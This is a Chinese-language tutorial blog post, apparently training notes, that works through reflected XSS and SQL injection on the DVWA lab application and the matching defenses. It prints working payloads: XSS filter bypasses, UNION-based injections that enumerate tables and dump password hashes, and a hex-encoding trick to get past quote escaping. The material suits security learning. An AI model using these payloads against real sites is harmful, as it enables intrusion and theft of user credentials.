这段时间公司鼓励进行安全方面的测试,也做了一次启动培训,了解到了 web 安全的一些知识,在此记录一下。

使用到的工具

DVWA(Damn Vulnerable Web Application)1.9
docker 安装方法:

docker run --rm -p 80:80 infoslack/dvwa

反射型跨站漏洞(Reflected XSS)

概念

我们在访问一个网页的时候,在 URL 后面加上参数,服务器根据请求的参数值构造不同的 HTML 返回。
http://localhost:8080/prjWebSec/xss/reflectedXSS.jsp?param=value...
上例中的value 可能出现在返回的 HTML(可能是 JS,HTML 某元素的内容或者属性) 中,
如果将 value 改成可以在浏览器中被解释执行的东西,就形成了反射型 XSS。

特征

  1. 恶意脚本附加到 url 中。只有点击此链接才会引起攻击
  2. 不具备持久性,即只要不通过这个特定 url 访问,就不会有问题
  3. 如果具备持久性(例如数据会存储到服务器上),只要访问这个页面就会触发漏洞代码执行,则认为是存储性 XSS

攻击示例

dvwa
提醒:dvwa 1.9 对于反射式 xss 貌似有点问题,有时候该级别后不生效。需要多试几次。由于时间关系,以后再研究原因。

DVWA 设为 LOW :
image_1boguekv2j221l6o16ea12qp19nq19.png-264.6kB
此时,dvwa 不会校验任何 url 参数值。

http://localhost/vulnerabilities/xss_r/index.php#
image_1boguiabv7o01lct1jbflvcem1m.png-93.3kB

输入框输入 test 后,点击提交即会以 get 方式提交,网址变为下面的值:
http://localhost/vulnerabilities/xss_r/?name=test#
且内容中会包含 test 这个值:
image_1boguk8ghcvg5km1hltnupip23.png-20.2kB

此时,把 url 里面 name= 后面的值改为其他 html 内容,例如
http://localhost/vulnerabilities/xss_r/index.php?name=%3Cimg%20src=1%20onerror=alert(%27test%27)%20/%3E
则内容中会出现弹窗:
image_1boi0rs0n1b3u1ms6rbl128o1n6q2g.png-69.3kB

medium 级别,会把 <script> 标签替换为空

$name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

。可通过大小写绕过(<SCRipt>)或双写绕过(<scr<script>ipt>

high 级别,则会用正则表达式把任何形式的 <script> 替换掉

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

可以通过控件事件触发绕过(<img src=1 onerror=alert('xssr') />

防御方法

impossible 级别里面已经有了示例,只需要进行 htmlencode ,把 html 相关字符进行转码,让其不再是有效的可执行的 html/js 代码即可。

java 语言对应的函数是 org.apache.commons.lang3.StringEscapeUtils.escapeHtml4

PS: 目前 chrome、safari 等主流浏览器已经自动做了 xss filter ,自动转码 html 相关字符,目前貌似只有 firefox 没有做这个处理。

SQL 注入

概念

“SQL 注入” 是一种利用未过滤/未审核用户输入的攻击方法(“缓存溢出” 和这个不同),意思就是让应用运行本不应该运行的 SQL 代码。如果应用毫无防备地创建了 SQL 字符串并且运行了它们,就会造成一些出人意料的结果。

举个例子,一个 sql 查询语句的组装实现是

$id = $_REQUEST[ 'id' ]; 

// Check database 
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 

此时,若 id 参数的值为 1'or '1234'='1234 ,则组装后的 sql 为:

SELECT first_name, last_name FROM users WHERE user_id = '1'or '1234'='1234';

可以看到,通过输入经过设计的变量值,sql 中 WHERE 条件已经形同虚设了,服务器会返回 users 的所有记录。

注意:大部分情况下,SQL 注入后不一定能直接在返回值或界面中看到效果。看不到执行效果的一律称为 盲注

特征

  1. 恶意内容可以写到任何输入入口,如 url 参数、form 表单值等。一般用于试验的字符串是 1' and '1' ='2(会导致查询结果为空)
  2. 注入后,SQL 语句的执行语义会被改变,导致出错或产生非预期结果。

攻击示例

手工注入(非盲注)思路

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解 SQL 查询语句中的字段数
  3. 确定显示的字段顺序
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 下载数据

针对 DVWA 的 SQL 注入

在输入框输入 1,成功查询出一个用户:

image_1boo33ju41gdg1od3e11h81cqn19.png-14.4kB

输入 1' and '1' ='2 ,确认是否有漏洞。如果有,返回结果为空

输入 1'or '1234'='1234,确认是否有漏洞。如果有,返回结果不止一个

至此,确认了漏洞的存在。

猜测 sql 字段数量

下一步,是猜测 sql 长什么样。首先猜测字段数。

分别输入 1' and 1=1 order by 1 #1' and 1=1 order by 2 #1' and 1=1 order by 3 #,按照查询出来的第一个、第二个、第三个字段排序,确认有多少个字段(只显示 2 个不代表 sql 也只查出了 2 个)。

image_1boo3he7p1l6p9tqa3r4e8noj36.png-31.6kB

结论:只有 2 个字段,且就是结果显示中的 First name 和 Surname

确定显示顺序

输入 1' union select 1,2 # ,确认是否查询成功。由于使用了 union,对于第二个 select,其中 1 会对应第一个字段的值,2 会对应第二个字段的值。如果成功,说明值为 1 的是第一个字段,值为 2 的是第二个字段:

image_1boo3qqrd1aja19a1f9tsgruji40.png-21.4kB

获取数据库中的表

union 可以用,那就意味着我们不仅能操控 where,连整个 select 语句都可以控制了。所以下一步,要获取更多的信息,例如拿到数据库所有表。

输入 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # ,把 First Name 返回 1,Surname 返回所有数据库表。

image_1boo47v4d1uocvdjefr1bjend54d.png-24.6kB

确认了数据库里只有 2 个表,guestbook,users

补充说明:group_contact 为 mysql 专用的函数,用处是合并多条记录至一个参数中。

例如有 3 个记录的 username 都为 a,select first_name from users where username = 1 会返回 3 条记录:

+------+
| first_name|
+------+
|a |
|b |
|c |

select group_contact(first_name) from users where username = 1 则会把 3 条记录中 first_name 字段值合并成一条输出:

+------+
| first_name|
+------+
|a,b,c |

获取表中的字段名

输入 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # ,表示第二个查询结果中,First Name 为 1,Surname 为 users 表中的所有列名。

image_1boqm218n1gea1pf51oh4gln1smo57.png-37.2kB

获取 user 表中的所有用户密码

输入 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # ,先通过 1' or 1=1 获取到所有数据,然后 union 后续的语句把数据以 user_id,first_name,last_name 合并为一起后作为一组,逐组输出 password 的值。

image_1boo4lgdm1gf613r7h0814n3125e4q.png-88kB

可以看到,admin 的密码是 5f4dcc3b5aa765d61d8327deb882cf99 。

当把 DVWA 级别设为 medium 时,会使用 mysql_real_escape_string\x00,\n,\r,\,’,”,\x1a 进行转义,同时前端改为下拉框,控制用户输入。

解决方法:

  1. 界面可以改,接口可改不了。可以通过修改接口传参来继续攻击。
  2. 虽然引号不能用了,但通过设计把引号去掉即可。

针对 low 里面的攻击方法,大部分只需要把最前面的 1' ... 改为 1 ... ,去掉第一个单引号即可。

image_1boqn9tqaisjdvk1lt2ibe1n4m5k.png-21.6kB
image_1boqnaoep3dv18l019483pd4q61.png-30.8kB

而针对获取 user 表的字段名,使用和 low 一样的攻击方法,会报错:

image_1boqnoqnf1mim16egcrhamvsvo6e.png-34.3kB

解决方法:可以用 16 进制绕过。sql 改为

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #

image_1boqnsf1311lveuu14jmgpc39j6r.png-42.4kB

通过查看源码,可以发现相比 medium ,SQL 语句结尾增加了 LIMIT 1 ,限制返回结果数。

...
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' ); 
...

同时界面上,输入 id 变成了一个新的窗口,而非原来的下拉窗。导致接口返回值并不会返回查询结果,通过接口无法判断注入是否成功。

然而并没有什么卵用。通过使用类似 1' or 1=1 # 的写法,先加个引号匹配前面的引号,然后末尾价格 # 注释掉后续的内容即可。拼装后的 sql 语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 #' LIMIT 1;

效果:

image_1bot9k27r15sm1ccsq991n781foc8f.png-83.3kB

防御方法:

在 DWVA 中,通过 3 种方法并用来防御:

  1. 要求 id 参数值必须是数字,防御非数字输入。
  2. 通过用 PDO 划清代码与数据的界限,防御注入。
  3. 在代码中明确只有查询结果为 1 时才输出,防御拖库。
<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $id = $_GET[ 'id' ]; 

    // id 必须是一个数字
    if(is_numeric( $id )) { 
        // Check the database 

        // 用 PDO 划清代码与数据的界限
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
        $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
        $data->execute(); 
        $row = $data->fetch(); 

        // 从代码层面确定只有查询结果数量为1时才输出
        if( $data->rowCount() == 1 ) { 
            // Get values 
            $first = $row[ 'first_name' ]; 
            $last  = $row[ 'last_name' ]; 

            // Feedback for end user 
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
        } 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 
?> 

其它语言可以采取类似的思路,限定输入值类型、采用 PDO 、限定输出值结果。

小结

反射型 XSS 注入,核心是触发 js 的执行。触发方法不要局限于 <script> 标签,onerror 等控件事件更好用。

防御方法是所有输入先进行 html 标签转码,让其无法正常解析可执行的 html 标签。

SQL 注入(非盲注),先通过 1 or 1=11 or 1=2 判断是否有注入漏洞,有的话再通过各种组合获取数据。对于引号限制,可以用 16 进制绕过

防御方法:严格判断输入数据类型、采用 PDO 而非字符串拼接组织 SQL 、严格控制输出结果数量。通过查询页和结果页分离,可以避免 sqlmap 这类自动工具攻击,降低风险。

参考资料

一个反射型 XSS 例子的解析
新手指南:DVWA-1.9 全级别教程(完结篇,附实例)之 XSS
新手指南:DVWA-1.9 全级别教程之 SQL Injection
新手指南:DVWA-1.9 全级别教程之 SQL Injection(Blind)


↙↙↙阅读原文可查看相关链接,并与作者交流